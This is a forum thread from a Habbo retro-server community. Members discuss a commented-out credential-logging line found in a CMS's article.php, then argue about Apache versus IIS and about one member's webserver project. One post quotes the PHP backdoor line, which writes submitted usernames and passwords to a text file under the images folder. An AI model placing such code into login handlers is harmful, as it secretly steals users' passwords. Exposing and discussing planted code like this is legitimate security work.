zCMS article.php exploit fix!

[Muscab]

The exact reason why I completely disrecommened anything that claims to be "secure".

And I had some respect for Jonty, I have little now.
If he is going to release something that he calls "secure", then why add in some kiddy exploits?

Jesus christ.

It's commented out :S

[NoBrain]

The exact reason why I completely disrecommened anything that claims to be "secure".

And I had some respect for Jonty, I have little now.
If he is going to release something that he calls "secure", then why add in some kiddy exploits?

Jesus christ.

I always triple check things before using them, incase they are extremely insecure.

It's commented out :S

It's completely unnecessary and it should even be their!

[iPukeEVO]

Thank You.
Exploits!

[NoBrain]

To help Habbo Retros even further, I am designing and coding a Webserver with top notch security, and also a version for developers.

Live Version
nginx
PHP
MySQL
phpMyAdmin

Developer Version
Apache
PHP
MySQL
phpMyAdmin

Screenshot(s)

[Subway]

nice find!
Posted via Mobile Device

[Grant]

I don't see why it should matter, yes it shouldn't be their, but it's commented out. Anyway's, I know a couple of these CMS releases have contained that piece of code. Look back to around 2 months after uberCMS's released, 'ItzJay' (I think) released a notice stating that the password logging was in the CMS.

Maybe Jonty hasn't checked that .php file?

[Kryptos]

To help Habbo Retros even further, I am designing and coding a Webserver with top notch security, and also a version for developers.

Live Version
nginx
PHP
MySQL
phpMyAdmin

Developer Version
Apache
PHP
MySQL
phpMyAdmin

Screenshot(s)

I rather use IIS.

[Matthew]

I rather use IIS.

IIS has no gain over Apache when it comes to PHP. Infact, Apache is much more extensive and supported. Sure, you can run PHP on IIS. However the logic is simple, IIS for ASP, Apache for PHP.

There's a common misconception in the habboon community, and that's that Apache is not secure. When all they've used is the XAMPP version of it, which, of course is for developmental purposes. Apache is very secure, fast and efficient if set up correctly and has the correct modules loaded. I've personally had exceptional results with Apache and PHP + APC.

However this community is plagued with laziness and unwillingness. So, every one will stick with IIS 'cuz some 13 year old with a windows VPS says its secure.

Not saying any of that applies to you; just thought I'd throw that out there.

[Jonteh]

I fail at spotting sarcasm, sorry XD

EDIT: Jonty, wtf were you thinking O.o

// fwrite( fopen('./images/lol.txt', 'a+'), $_POST['credentials_username']." > ".mysql_real_escape_string($_POST['credentials_password'].chr(13))); exit; 

Zap got hacked around 7 months ago and that code was placed into our index to log our passwords, I commented it out and kept it there for future reference.

[Kryptos]

IIS has no gain over Apache when it comes to PHP. Infact, Apache is much more extensive and supported. Sure, you can run PHP on IIS. However the logic is simple, IIS for ASP, Apache for PHP.

There's a common misconception in the habboon community, and that's that Apache is not secure. When all they've used is the XAMPP version of it, which, of course is for developmental purposes. Apache is very secure, fast and efficient if set up correctly and has the correct modules loaded. I've personally had exceptional results with Apache and PHP + APC.

However this community is plagued with laziness and unwillingness. So, every one will stick with IIS 'cuz some 13 year old with a windows VPS says its secure.

Not saying any of that applies to you; just thought I'd throw that out there.

Not really meaning that IIS is the best option, my point is that it's way better to use something like IIS than using some 'Webserver' with 'top-notch security'(?lol?) from someone in /f282

[Jonteh]

Not really meaning that IIS is the best option, my point is that it's way better to use something like IIS than using some 'Webserver' with 'top-notch security'(?lol?) from someone in /f282

Yeah, and when the one hes 'developing' doesn't have any code, just Form1.design, which indicates to me it's a fake development.

meh.

[Hejula]

Yeah, and when the one hes 'developing' doesn't have any code, just Form1.design, which indicates to me it's a fake development.

meh.

He hasnt double clicked on Form1 and showed everyone so you dont know if there is code or not.

[NoBrain]

He hasnt double clicked on Form1 and showed everyone so you dont know if there is code or not.

I posted that screenshot when I was just starting to develop it, right now their is very little code because Visual C# keeps fucking crashing on me -.-

Yeah, and when the one hes 'developing' doesn't have any code, just Form1.design, which indicates to me it's a fake development.

meh.

1 little thing, how is it a fake development when I haven't even posted a development thread O.o

[Subway]

Nice rip from Jessy @ 0taku.

[Joopie]

Nice rip from Jessy @ 0taku.

Didn't expected it form you to bump ;x